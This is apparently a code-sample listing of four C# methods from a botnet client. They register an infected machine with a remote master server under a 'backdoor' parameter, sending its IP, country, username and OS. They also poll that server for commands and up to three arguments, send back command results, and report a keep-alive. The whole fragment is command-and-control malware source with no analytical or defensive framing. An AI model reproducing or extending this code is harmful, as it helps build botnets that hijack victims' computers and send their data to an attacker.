Пример #1
0
        public void saludo()
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "entradatrasera=hidad&key=" + clave + "&ip=" + ip + "&pais="
                        + pais + "&username="******"&os=" + os + "&timeout=" + time);
        }
Пример #2
0
        public string ver_ordenes()
        {
            string resultado = "";

            string re_cmd = "";
            string arg1   = "";
            string arg2   = "";
            string arg3   = "";

            DH_Tools tools = new DH_Tools();

            string code = tools.tomar(url_master, "ordenespabots=alpedo&clave=" + clave);

            Match regex = Regex.Match(code, "Orden : (.*?)<br>", RegexOptions.IgnoreCase);

            if (regex.Success)
            {
                re_cmd = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg1 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)

            {
                arg1 = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg2 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                arg2 = regex.Groups[1].Value;
            }

            regex = Regex.Match(code, "Arg3 : (.*?)<br>", RegexOptions.IgnoreCase);
            if (regex.Success)
            {
                arg3 = regex.Groups[1].Value;
            }

            resultado = clean_error_regex("[comando]" + re_cmd + "[comando]" + "[arg1]" + arg1 + "[arg1]" +
                                          "[arg2]" + arg2 + "[arg2]" + "[arg3]" + arg3 + "[arg3]");

            return(resultado);
        }
Пример #3
0
        public void mandar_rta(string contenido)
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "mandocarajo=alpedo&miclave=" + clave + "&mirta=" + contenido);
        }
Пример #4
0
        public void sigo_vivo()
        {
            DH_Tools tools = new DH_Tools();

            tools.tomar(url_master, "sigovivo=alpedo&clavenow=" + clave);
        }